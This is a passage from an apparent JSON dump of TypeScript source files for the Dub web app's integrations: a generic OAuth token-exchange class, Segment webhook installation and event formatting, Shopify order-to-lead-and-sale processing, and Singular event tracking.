    "content": "import { sendEmail } from \"@dub/email\";\nimport IntegrationInstalled from \"@dub/email/templates/integration-installed\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\n\ninterface InstallIntegration {\n  userId: string;\n  workspaceId: string;\n  integrationId: string;\n  credentials?: Record<string, any>;\n}\n\n// Install an integration for a user in a workspace\nexport const installIntegration = async ({\n  userId,\n  workspaceId,\n  integrationId,\n  credentials,\n}: InstallIntegration) => {\n  const installation = await prisma.installedIntegration.upsert({\n    create: {\n      userId,\n      projectId: workspaceId,\n      integrationId,\n      credentials,\n    },\n    update: {\n      credentials,\n    },\n    where: {\n      userId_integrationId_projectId: {\n        userId,\n        projectId: workspaceId,\n        integrationId,\n      },\n    },\n  });\n\n  waitUntil(\n    (async () => {\n      const workspace = await prisma.project.findUniqueOrThrow({\n        where: {\n          id: workspaceId,\n        },\n        select: {\n          name: true,\n          slug: true,\n          users: {\n            select: {\n              user: {\n                select: { email: true },\n              },\n            },\n            where: {\n              userId,\n            },\n          },\n          installedIntegrations: {\n            where: {\n              integrationId,\n            },\n            select: {\n              integration: {\n                select: {\n                  name: true,\n                  slug: true,\n                },\n              },\n            },\n          },\n        },\n      });\n\n      const email =\n        workspace.users.length > 0 ? workspace.users[0].user.email : null;\n      const integration =\n        workspace.installedIntegrations.length > 0\n          ? workspace.installedIntegrations[0].integration\n          : null;\n\n      if (email && integration) {\n        await sendEmail({\n          to: email!,\n          subject: `The \"${integration.name}\" integration has been added to your workspace`,\n          react: IntegrationInstalled({\n            email: email!,\n            workspace: {\n              name: workspace.name,\n              slug: workspace.slug,\n            },\n            integration: {\n              name: integration.name,\n              slug: integration.slug,\n            },\n          }),\n        });\n      }\n    })(),\n  );\n\n  return installation;\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/oauth-provider.ts",
    "content": "import { getSearchParams, nanoid } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { redis } from \"../upstash\";\n\nexport interface OAuthProviderConfig<T extends z.ZodSchema = z.ZodSchema> {\n  name: string;\n  clientId: string;\n  clientSecret: string;\n  authUrl: string;\n  tokenUrl: string;\n  redirectUri: string;\n  scopes?: string;\n  redisStatePrefix: string;\n  tokenSchema: T;\n  bodyFormat: \"form\" | \"json\";\n  responseFormat?: \"json\" | \"text\";\n  authorizationMethod: \"header\" | \"body\";\n}\n\nconst codeExchangeSchema = z.object({\n  code: z.string(),\n  state: z.string(),\n});\n\nexport class OAuthProvider<T extends z.ZodSchema> {\n  constructor(private provider: OAuthProviderConfig<T>) {}\n\n  // Generate the authorization URL for the OAuth provider\n  async generateAuthUrl(contextId: string | Record<string, string>) {\n    const state = nanoid(16);\n    await redis.set(`${this.provider.redisStatePrefix}:${state}`, contextId, {\n      ex: 30 * 60,\n    });\n\n    const searchParams = new URLSearchParams({\n      client_id: this.provider.clientId,\n      redirect_uri: this.provider.redirectUri,\n      ...(this.provider.scopes ? { scope: this.provider.scopes } : {}),\n      response_type: \"code\",\n      state,\n    });\n\n    return `${this.provider.authUrl}?${searchParams.toString()}`;\n  }\n\n  // Exchange the authorization code for a token\n  async exchangeCodeForToken<K>(request: Request): Promise<{\n    contextId: K;\n    token: z.infer<T>;\n  }> {\n    const { code, state } = codeExchangeSchema.parse(\n      getSearchParams(request.url),\n    );\n\n    const contextId = await redis.getdel<K>(\n      `${this.provider.redisStatePrefix}:${state}`,\n    );\n\n    if (!contextId) {\n      throw new Error(`[${this.provider.name}] Invalid or expired state.`);\n    }\n\n    let body: BodyInit;\n    let headers: Record<string, string> = {};\n\n    if (this.provider.authorizationMethod === \"header\") {\n      const credentials = Buffer.from(\n        `${this.provider.clientId}:${this.provider.clientSecret}`,\n        \"utf8\",\n      ).toString(\"base64\");\n\n      headers[\"Authorization\"] = `Basic ${credentials}`;\n    }\n\n    switch (this.provider.bodyFormat) {\n      case \"form\": {\n        headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\";\n\n        const formParams = new URLSearchParams({\n          code,\n          redirect_uri: this.provider.redirectUri,\n          grant_type: \"authorization_code\",\n        });\n\n        if (this.provider.authorizationMethod === \"body\") {\n          formParams.append(\"client_id\", this.provider.clientId);\n          formParams.append(\"client_secret\", this.provider.clientSecret);\n        }\n\n        body = formParams.toString();\n        break;\n      }\n\n      case \"json\": {\n        headers[\"Content-Type\"] = \"application/json\";\n\n        const jsonBody: Record<string, string> = {\n          code,\n          redirect_uri: this.provider.redirectUri,\n          grant_type: \"authorization_code\",\n        };\n\n        if (this.provider.authorizationMethod === \"body\") {\n          jsonBody.client_id = this.provider.clientId;\n          jsonBody.client_secret = this.provider.clientSecret;\n        }\n\n        body = JSON.stringify(jsonBody);\n        break;\n      }\n\n      default:\n        throw new Error(`Unsupported bodyFormat: ${this.provider.bodyFormat}`);\n    }\n\n    const response = await fetch(this.provider.tokenUrl, {\n      method: \"POST\",\n      headers,\n      body,\n    });\n\n    const responseFormat = this.provider.responseFormat || \"json\";\n\n    const data =\n      responseFormat === \"json\" ? await response.json() : await response.text();\n\n    if (!response.ok) {\n      console.error(`[${this.provider.name}] exchangeCodeForToken`, data);\n\n      throw new Error(\n        `[${this.provider.name}] Failed to exchange authorization code. Please try again.`,\n      );\n    }\n\n    const token = this.provider.tokenSchema.parse(data);\n\n    return {\n      token,\n      contextId,\n    };\n  }\n\n  // Refresh the token\n  async refreshToken(refreshToken: string): Promise<z.infer<T>> {\n    const response = await fetch(this.provider.tokenUrl, {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: new URLSearchParams({\n        grant_type: \"refresh_token\",\n        refresh_token: refreshToken,\n        client_id: this.provider.clientId,\n        client_secret: this.provider.clientSecret,\n      }),\n    });\n\n    const responseFormat = this.provider.responseFormat || \"json\";\n\n    const data =\n      responseFormat === \"json\" ? await response.json() : await response.text();\n\n    if (!response.ok) {\n      console.error(`[${this.provider.name}] refreshToken`, data);\n\n      throw new Error(\n        `[${this.provider.name}] Failed to refresh the access token. Please try again.`,\n      );\n    }\n\n    return this.provider.tokenSchema.parse(data);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/integrations/segment/install.ts",
    "content": "\"use server\";\n\nimport { authActionClient } from \"@/lib/actions/safe-action\";\nimport { createWebhook } from \"@/lib/webhook/create-webhook\";\nimport { WebhookReceiver } from \"@dub/prisma/client\";\nimport { SEGMENT_INTEGRATION_ID } from \"@dub/utils\";\nimport { revalidatePath } from \"next/cache\";\nimport * as z from \"zod/v4\";\nimport { installIntegration } from \"../install\";\n\nconst schema = z.object({\n  writeKey: z.string().min(1).max(40),\n  workspaceId: z.string(),\n});\n\nexport const installSegmentAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { writeKey } = parsedInput;\n\n    const installation = await installIntegration({\n      integrationId: SEGMENT_INTEGRATION_ID,\n      userId: user.id,\n      workspaceId: workspace.id,\n      credentials: {\n        writeKey,\n      },\n    });\n\n    await createWebhook({\n      name: \"Segment\",\n      url: \"https://api.segment.io/v1/track\",\n      receiver: WebhookReceiver.segment,\n      triggers: [],\n      workspace,\n      secret: writeKey,\n      installationId: installation.id,\n    });\n\n    revalidatePath(`/${workspace.slug}/settings/integrations/segment`);\n  });\n"
  },
  {
    "path": "apps/web/lib/integrations/segment/transform.ts",
    "content": "import { webhookPayloadSchema } from \"@/lib/webhook/schemas\";\nimport {\n  ClickEventWebhookPayload,\n  LeadEventWebhookPayload,\n  PartnerEventWebhookPayload,\n  SaleEventWebhookPayload,\n} from \"@/lib/webhook/types\";\nimport { Link } from \"@dub/prisma/client\";\nimport { capitalize } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nconst integration = {\n  name: \"dub\",\n  version: \"1.0.0\",\n};\n\nexport const formatEventForSegment = (\n  payload: z.infer<typeof webhookPayloadSchema>,\n) => {\n  const { event, data } = payload;\n\n  switch (event) {\n    case \"link.clicked\":\n      return transformClickEvent(data);\n    case \"lead.created\":\n      return transformLeadEvent(data);\n    case \"sale.created\":\n      return transformSaleEvent(data);\n    case \"partner.enrolled\":\n      return transformPartnerEnrolledEvent(data);\n    default:\n      throw new Error(`Event ${event} is not supported for Segment.`);\n  }\n};\n\nconst transformClickEvent = (data: ClickEventWebhookPayload) => {\n  const { click, link } = data;\n\n  return {\n    event: \"Link Clicked\",\n    anonymousId: click.id,\n    context: {\n      ip: click.ip,\n      integration,\n      library: integration,\n      ...buildCampaignContext(link),\n    },\n    properties: {\n      click,\n      link,\n    },\n  };\n};\n\nconst transformLeadEvent = (data: LeadEventWebhookPayload) => {\n  const { link, click, customer, eventName } = data;\n\n  return {\n    event: capitalize(eventName),\n    userId: customer.externalId,\n    context: {\n      ip: click.ip,\n      integration,\n      library: integration,\n      ...buildCampaignContext(link),\n    },\n    properties: {\n      click,\n      link,\n      customer,\n    },\n  };\n};\n\nconst transformSaleEvent = (data: SaleEventWebhookPayload) => {\n  const { link, click, customer, sale, eventName } = data;\n\n  return {\n    event: capitalize(eventName),\n    userId: customer.externalId,\n    context: {\n      ip: click.ip,\n      integration,\n      library: integration,\n      ...buildCampaignContext(link),\n    },\n    properties: {\n      click,\n      link,\n      customer,\n      sale,\n      revenue: sale.amount,\n      currency: sale.currency,\n    },\n  };\n};\n\nconst transformPartnerEnrolledEvent = (data: PartnerEventWebhookPayload) => {\n  const { links, ...partner } = data;\n\n  return {\n    event: \"Partner Enrolled\",\n    userId: partner.id,\n    context: {\n      integration,\n      library: integration,\n    },\n    properties: {\n      partner,\n      links,\n    },\n  };\n};\n\nconst buildCampaignContext = (\n  link: Pick<\n    Link,\n    \"utm_campaign\" | \"utm_source\" | \"utm_medium\" | \"utm_term\" | \"utm_content\"\n  >,\n) => {\n  const campaign = {\n    ...(link.utm_campaign && { name: link.utm_campaign }),\n    ...(link.utm_source && { source: link.utm_source }),\n    ...(link.utm_medium && { medium: link.utm_medium }),\n    ...(link.utm_term && { term: link.utm_term }),\n    ...(link.utm_content && { content: link.utm_content }),\n  };\n\n  if (Object.keys(campaign).length === 0) {\n    return undefined;\n  }\n\n  return {\n    campaign,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/segment/ui/set-write-key.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { SegmentIntegrationCredentials } from \"@/lib/types\";\nimport { Lock } from \"@/ui/shared/icons\";\nimport { Button, Tooltip, TooltipContent } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { installSegmentAction } from \"../install\";\n\nexport function SetWriteKey({\n  credentials,\n  installed,\n}: {\n  credentials: SegmentIntegrationCredentials;\n  installed: boolean;\n}) {\n  const { id: workspaceId, slug, plan } = useWorkspace();\n  const [writeKey, setWriteKey] = useState(credentials?.writeKey);\n\n  const { executeAsync, isPending } = useAction(installSegmentAction, {\n    async onSuccess() {\n      toast.success(\"Segment integration enabled successfully.\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError || \"Failed to enable Segment integration.\");\n    },\n  });\n\n  const onSubmit = async (e: React.FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    if (!workspaceId) {\n      return;\n    }\n\n    if (!writeKey) {\n      toast.error(\"Write key is required.\");\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      writeKey,\n    });\n  };\n\n  const planDisabledTooltip = (\n    <TooltipContent\n      title=\"You can only install the Segment integration on the Business plan and above.\"\n      cta=\"Upgrade to Business\"\n      href={`/${slug}/upgrade`}\n    />\n  );\n\n  return (\n    <form className=\"mt-4 flex items-end gap-2\" onSubmit={onSubmit}>\n      <div className=\"w-full rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"flex items-center gap-x-2 border-b border-neutral-200 px-6 py-4\">\n          <Lock className=\"size-4\" />\n          <p className=\"text-sm font-medium text-neutral-700\">Write key</p>\n        </div>\n\n        <div className=\"p-4\">\n          <p className=\"text-sm leading-normal text-neutral-600\">\n            To send click events to Segment, you need to add your Segment write\n            key below.{\" \"}\n            <a\n              href=\"https://segment.com/docs/connections/find-writekey/\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"text-neutral-500 underline underline-offset-4 hover:text-neutral-700\"\n            >\n              Learn about\n            </a>{\" \"}\n            how to locate your write key.\n          </p>\n\n          {plan === \"free\" || plan === \"pro\" ? (\n            <Tooltip content={planDisabledTooltip}>\n              <div className=\"mt-4 cursor-not-allowed rounded-md border border-neutral-300 bg-neutral-50 px-3 py-2 text-sm text-neutral-400\">\n                Enter your write key\n              </div>\n            </Tooltip>\n          ) : (\n            <div className=\"relative mt-4 rounded-md shadow-sm\">\n              <input\n                className=\"w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                placeholder=\"Enter your write key\"\n                required\n                type=\"text\"\n                autoComplete=\"off\"\n                name=\"writeKey\"\n                value={writeKey}\n                onChange={(e) => setWriteKey(e.target.value)}\n                readOnly={installed}\n              />\n            </div>\n          )}\n        </div>\n\n        <div className=\"flex items-center justify-end rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-4 py-3\">\n          <div className=\"shrink-0\">\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text=\"Save changes\"\n              className=\"h-8 w-fit\"\n              loading={isPending}\n              disabled={installed || !writeKey}\n              disabledTooltip={\n                plan === \"free\" || plan === \"pro\"\n                  ? planDisabledTooltip\n                  : undefined\n              }\n            />\n          </div>\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/integrations/segment/ui/settings.tsx",
    "content": "\"use client\";\n\nimport {\n  InstalledIntegrationInfoProps,\n  SegmentIntegrationCredentials,\n} from \"@/lib/types\";\nimport { ConfigureWebhook } from \"../../common/ui/configure-webhook\";\nimport { SetWriteKey } from \"./set-write-key\";\n\nexport const SegmentSettings = (props: InstalledIntegrationInfoProps) => {\n  const { installed, credentials, webhookId } = props;\n\n  return (\n    <>\n      <SetWriteKey\n        installed={!!installed?.id}\n        credentials={credentials as SegmentIntegrationCredentials}\n      />\n      {installed && webhookId && (\n        <ConfigureWebhook\n          webhookId={webhookId}\n          supportedEvents={[\"lead.created\", \"sale.created\", \"partner.enrolled\"]}\n        />\n      )}\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/segment/utils.ts",
    "content": "export const createSegmentBasicAuthHeader = (writeKey: string) => {\n  return `Basic ${Buffer.from(`${writeKey}:`).toString(\"base64\")}`;\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/shopify/create-lead.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { syncPartnerLinksStats } from \"@/lib/api/partners/sync-partner-links-stats\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { sendPartnerPostback } from \"@/lib/postback/api/send-partner-postback\";\nimport { getClickEvent, recordLead } from \"@/lib/tinybird\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { transformLeadEventData } from \"@/lib/webhook/transform\";\nimport { leadEventSchemaTB } from \"@/lib/zod/schemas/leads\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { orderSchema } from \"./schema\";\n\nexport async function createShopifyLead({\n  clickId,\n  workspaceId,\n  event,\n}: {\n  clickId: string;\n  workspaceId: string;\n  event: any;\n}) {\n  const { customer: orderCustomer } = orderSchema.parse(event);\n\n  const customerId = createId({ prefix: \"cus_\" });\n  /*\n     if orderCustomer is undefined (guest checkout):\n    - use the customerId as the externalId\n    - generate random name + email\n  */\n  const externalId = orderCustomer?.id?.toString() || customerId; // need to convert to string because Shopify customer ID is a number\n  const name = orderCustomer\n    ? `${orderCustomer.first_name} ${orderCustomer.last_name}`.trim()\n    : generateRandomName();\n  const email = orderCustomer?.email;\n\n  // find click\n  const clickData = await getClickEvent({ clickId });\n\n  if (!clickData) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Click event not found for clickId: ${clickId}`,\n    });\n  }\n\n  const { link_id: linkId, country, timestamp } = clickData;\n\n  // create customer\n  const customer = await prisma.customer.create({\n    data: {\n      id: customerId,\n      externalId,\n      name,\n      email,\n      projectId: workspaceId,\n      clickedAt: new Date(timestamp + \"Z\"),\n      clickId,\n      linkId,\n      country,\n    },\n  });\n\n  const eventName = \"Account created\";\n\n  const leadData = leadEventSchemaTB.parse({\n    ...clickData,\n    workspace_id: clickData.workspace_id || customer.projectId, // in case for some reason the click event doesn't have workspace_id\n    event_id: nanoid(16),\n    event_name: eventName,\n    customer_id: customer.id,\n  });\n\n  const [_lead, link, workspace] = await Promise.all([\n    // record lead\n    recordLead(leadData),\n\n    // update link leads count + lastLeadAt date\n    prisma.link.update({\n      where: {\n        id: linkId,\n      },\n      data: {\n        leads: {\n          increment: 1,\n        },\n        lastLeadAt: new Date(),\n      },\n      include: includeTags,\n    }),\n\n    // update workspace usage\n    prisma.project.update({\n      where: {\n        id: workspaceId,\n      },\n      data: {\n        usage: {\n          increment: 1,\n        },\n      },\n    }),\n  ]);\n\n  waitUntil(\n    Promise.allSettled([\n      sendWorkspaceWebhook({\n        trigger: \"lead.created\",\n        workspace,\n        data: transformLeadEventData({\n          ...clickData,\n          eventName,\n          link,\n          customer,\n          metadata: null,\n        }),\n      }),\n\n      ...(link.partnerId\n        ? [\n            sendPartnerPostback({\n              partnerId: link.partnerId,\n              event: \"lead.created\",\n              data: {\n                ...clickData,\n                eventName,\n                link,\n                customer,\n              },\n            }),\n          ]\n        : []),\n\n      ...(link.programId && link.partnerId\n        ? [\n            syncPartnerLinksStats({\n              partnerId: link.partnerId,\n              programId: link.programId,\n              eventType: \"lead\",\n            }),\n            prisma.customer.update({\n              where: {\n                id: customer.id,\n              },\n              data: {\n                programId: link.programId,\n                partnerId: link.partnerId,\n              },\n            }),\n          ]\n        : []),\n    ]),\n  );\n\n  return leadData;\n}\n"
  },
  {
    "path": "apps/web/lib/integrations/shopify/create-sale.ts",
    "content": "import { isFirstConversion } from \"@/lib/analytics/is-first-conversion\";\nimport { detectAndRecordFraudEvent } from \"@/lib/api/fraud/detect-record-fraud-event\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { syncPartnerLinksStats } from \"@/lib/api/partners/sync-partner-links-stats\";\nimport { executeWorkflows } from \"@/lib/api/workflows/execute-workflows\";\nimport { createPartnerCommission } from \"@/lib/partners/create-partner-commission\";\nimport { sendPartnerPostback } from \"@/lib/postback/api/send-partner-postback\";\nimport { recordSale } from \"@/lib/tinybird\";\nimport { LeadEventTB } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { transformSaleEventData } from \"@/lib/webhook/transform\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, pick } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { orderSchema } from \"./schema\";\n\nexport async function createShopifySale({\n  event,\n  customerId,\n  workspaceId,\n  leadData,\n}: {\n  event: any;\n  customerId: string;\n  workspaceId: string;\n  leadData: LeadEventTB;\n}) {\n  const order = orderSchema.parse(event);\n\n  const {\n    checkout_token: checkoutToken,\n    confirmation_number: invoiceId,\n    current_subtotal_price_set: { shop_money: shopMoney },\n  } = order;\n\n  const amount = Math.round(Number(shopMoney.amount) * 100); // round to nearest cent\n  const { link_id: linkId } = leadData;\n  const currency = shopMoney.currency_code.toLowerCase();\n\n  // Skip if invoice id is already processed\n  const ok = await redis.set(\n    `dub_sale_events:linkId:${linkId}:invoiceId:${invoiceId}`,\n    1,\n    {\n      ex: 60 * 60 * 24 * 7,\n      nx: true,\n    },\n  );\n\n  if (!ok) {\n    return new Response(\n      `[Shopify] Order has been processed already. Skipping...`,\n    );\n  }\n\n  const saleData = {\n    ...leadData,\n    workspace_id: leadData.workspace_id || workspaceId, // in case for some reason the lead event doesn't have workspace_id\n    event_id: nanoid(16),\n    event_name: \"Purchase\",\n    payment_processor: \"shopify\",\n    amount,\n    currency,\n    invoice_id: invoiceId,\n    metadata: JSON.stringify(order),\n  };\n\n  const existingCustomer = await prisma.customer.findUniqueOrThrow({\n    where: {\n      id: customerId,\n    },\n  });\n\n  const firstConversionFlag = isFirstConversion({\n    customer: existingCustomer,\n    linkId,\n  });\n\n  const [_sale, link, workspace, customer] = await Promise.all([\n    // record sale\n    recordSale(saleData),\n\n    // update link sales count\n    prisma.link.update({\n      where: {\n        id: linkId,\n      },\n      data: {\n        ...(firstConversionFlag && {\n          conversions: {\n            increment: 1,\n          },\n          lastConversionAt: new Date(),\n        }),\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: amount,\n        },\n      },\n      include: includeTags,\n    }),\n\n    // update workspace sales usage\n    prisma.project.update({\n      where: {\n        id: workspaceId,\n      },\n      data: {\n        usage: {\n          increment: 1,\n        },\n      },\n    }),\n    prisma.customer.update({\n      where: {\n        id: existingCustomer.id,\n      },\n      data: {\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: amount,\n        },\n        firstSaleAt: existingCustomer.firstSaleAt ? undefined : new Date(),\n      },\n    }),\n    redis.del(`shopify:checkout:${checkoutToken}`),\n  ]);\n\n  // for program links\n  let createdCommission:\n    | Awaited<ReturnType<typeof createPartnerCommission>>\n    | undefined = undefined;\n\n  if (link.programId && link.partnerId) {\n    createdCommission = await createPartnerCommission({\n      event: \"sale\",\n      programId: link.programId,\n      partnerId: link.partnerId,\n      linkId: link.id,\n      eventId: saleData.event_id,\n      customerId: customer.id,\n      amount: saleData.amount,\n      quantity: 1,\n      invoiceId: saleData.invoice_id,\n      currency: saleData.currency,\n      context: {\n        customer: {\n          country: customer.country,\n          signupDate: customer.createdAt,\n        },\n        sale: {\n          amount: saleData.amount,\n        },\n      },\n    });\n\n    const { webhookPartner, programEnrollment } = createdCommission;\n\n    waitUntil(\n      Promise.allSettled([\n        executeWorkflows({\n          trigger: \"partnerMetricsUpdated\",\n          reason: \"sale\",\n          identity: {\n            workspaceId: workspaceId,\n            programId: link.programId,\n            partnerId: link.partnerId,\n          },\n          metrics: {\n            current: {\n              saleAmount: saleData.amount,\n              conversions: firstConversionFlag ? 1 : 0,\n            },\n          },\n        }),\n\n        syncPartnerLinksStats({\n          partnerId: link.partnerId,\n          programId: link.programId,\n          eventType: \"sale\",\n        }),\n\n        webhookPartner &&\n          detectAndRecordFraudEvent({\n            program: { id: link.programId },\n            partner: pick(webhookPartner, [\"id\", \"email\", \"name\"]),\n            programEnrollment: pick(programEnrollment, [\"status\"]),\n            customer: {\n              ...pick(customer, [\"id\", \"email\", \"name\"]),\n              isFirstConversion: firstConversionFlag,\n            },\n            link: pick(link, [\"id\"]),\n            click: pick(saleData, [\"url\", \"referer\"]),\n            event: { id: saleData.event_id },\n          }),\n      ]),\n    );\n  }\n\n  waitUntil(\n    Promise.allSettled([\n      sendWorkspaceWebhook({\n        trigger: \"sale.created\",\n        workspace,\n        data: transformSaleEventData({\n          ...saleData,\n          link,\n          clickedAt: customer.clickedAt || customer.createdAt,\n          customer,\n          partner: createdCommission?.webhookPartner,\n          metadata: null,\n        }),\n      }),\n\n      ...(link?.partnerId\n        ? [\n            sendPartnerPostback({\n              partnerId: link.partnerId,\n              event: \"sale.created\",\n              data: {\n                ...saleData,\n                clickedAt: customer.clickedAt || customer.createdAt,\n                link,\n                customer,\n              },\n            }),\n          ]\n        : []),\n    ]),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/integrations/shopify/process-order.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { getLeadEvent } from \"@/lib/tinybird\";\nimport { createShopifyLead } from \"./create-lead\";\nimport { createShopifySale } from \"./create-sale\";\n\n// Process the order from Shopify webhook\nexport async function processOrder({\n  event,\n  workspaceId,\n  customerId,\n  clickId,\n}: {\n  event: unknown;\n  workspaceId: string;\n  customerId?: string; // ID of the customer in Dub\n  clickId?: string; // ID of the click event from Shopify pixel\n}) {\n  try {\n    // for existing customer\n    if (customerId) {\n      const leadEvent = await getLeadEvent({ customerId });\n\n      if (!leadEvent) {\n        return new Response(\n          `[Shopify] Lead event with customer ID ${customerId} not found, skipping...`,\n        );\n      }\n\n      await createShopifySale({\n        leadData: leadEvent,\n        event,\n        workspaceId,\n        customerId,\n      });\n\n      return;\n    }\n\n    // for new customer\n    if (clickId) {\n      const leadData = await createShopifyLead({\n        clickId,\n        workspaceId,\n        event,\n      });\n\n      const { customer_id: customerId } = leadData;\n\n      await createShopifySale({\n        leadData,\n        event,\n        workspaceId,\n        customerId,\n      });\n\n      return;\n    }\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/integrations/shopify/schema.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const orderSchema = z.object({\n  confirmation_number: z.string(),\n  checkout_token: z.string(),\n  customer: z\n    .object({\n      id: z.number(),\n      email: z.string().nullish(),\n      first_name: z.string().nullish(),\n      last_name: z.string().nullish(),\n    })\n    .nullish(),\n  current_subtotal_price_set: z.object({\n    shop_money: z\n      .object({\n        amount: z.string(),\n        currency_code: z.string(),\n      })\n      .describe(\"Amount in shop currency.\"),\n  }),\n});\n"
  },
  {
    "path": "apps/web/lib/integrations/singular/track-lead.ts",
    "content": "import { trackLead } from \"@/lib/api/conversions/track-lead\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { trackLeadRequestSchema } from \"@/lib/zod/schemas/leads\";\nimport * as z from \"zod/v4\";\n\nconst singularLeadEventSchema = z.object({\n  dub_id: z.string().min(1),\n  event_name: z.string().min(1),\n  event_attributes: z\n    .string()\n    .transform((val) => {\n      try {\n        return JSON.parse(val);\n      } catch {\n        throw new Error(\"Invalid JSON in event_attributes\");\n      }\n    })\n    .pipe(\n      z.object({\n        customer_external_id: trackLeadRequestSchema.shape.customerExternalId,\n        customer_name: trackLeadRequestSchema.shape.customerName,\n        customer_email: trackLeadRequestSchema.shape.customerEmail,\n        customer_avatar: trackLeadRequestSchema.shape.customerAvatar,\n        event_quantity: trackLeadRequestSchema.shape.eventQuantity,\n        mode: trackLeadRequestSchema.shape.mode,\n      }),\n    ),\n});\n\nexport const trackSingularLeadEvent = async ({\n  queryParams,\n  workspace,\n}: {\n  queryParams: Record<string, string>;\n  workspace: Pick<WorkspaceProps, \"id\" | \"stripeConnectId\" | \"webhookEnabled\">;\n}) => {\n  const {\n    dub_id: clickId,\n    event_name: eventName,\n    event_attributes: {\n      customer_external_id: customerExternalId,\n      customer_name: customerName,\n      customer_email: customerEmail,\n      customer_avatar: customerAvatar,\n      event_quantity: eventQuantity,\n      mode,\n    },\n  } = singularLeadEventSchema.parse(queryParams);\n\n  return await trackLead({\n    clickId,\n    eventName,\n    customerEmail,\n    customerAvatar,\n    customerExternalId,\n    customerName,\n    eventQuantity,\n    mode,\n    metadata: null,\n    workspace,\n    rawBody: queryParams,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/singular/track-sale.ts",
    "content": "import { trackSale } from \"@/lib/api/conversions/track-sale\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { trackSaleRequestSchema } from \"@/lib/zod/schemas/sales\";\nimport * as z from \"zod/v4\";\n\n// TODO:\n// See if we can use {CONVERTED_REVENUE}\n\nconst singularRevenueEventSchema = z.object({\n  event_name: z.string().min(1),\n  revenue: z\n    .string()\n    .min(1)\n    .transform((val) => Number(val)),\n  currency: trackSaleRequestSchema.shape.currency,\n  event_attributes: z\n    .string()\n    .transform((val) => {\n      try {\n        return JSON.parse(val);\n      } catch {\n        throw new Error(\"Invalid JSON in event_attributes\");\n      }\n    })\n    .pipe(\n      z.object({\n        customer_external_id: trackSaleRequestSchema.shape.customerExternalId,\n        payment_processor: trackSaleRequestSchema.shape.paymentProcessor,\n        invoice_id: trackSaleRequestSchema.shape.invoiceId,\n        lead_event_name: trackSaleRequestSchema.shape.leadEventName,\n      }),\n    ),\n});\n\nexport const trackSingularSaleEvent = async ({\n  queryParams,\n  workspace,\n}: {\n  queryParams: Record<string, string>;\n  workspace: Pick<WorkspaceProps, \"id\" | \"stripeConnectId\" | \"webhookEnabled\">;\n}) => {\n  const {\n    event_name: eventName,\n    revenue: amount,\n    currency,\n    event_attributes: {\n      customer_external_id: customerExternalId,\n      payment_processor: paymentProcessor,\n      invoice_id: invoiceId,\n      lead_event_name: leadEventName,\n    },\n  } = singularRevenueEventSchema.parse(queryParams);\n\n  return await trackSale({\n    customerExternalId,\n    amount,\n    currency,\n    eventName,\n    paymentProcessor,\n    invoiceId,\n    leadEventName,\n    metadata: null,\n    workspace,\n    rawBody: queryParams,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/slack/commands.ts",
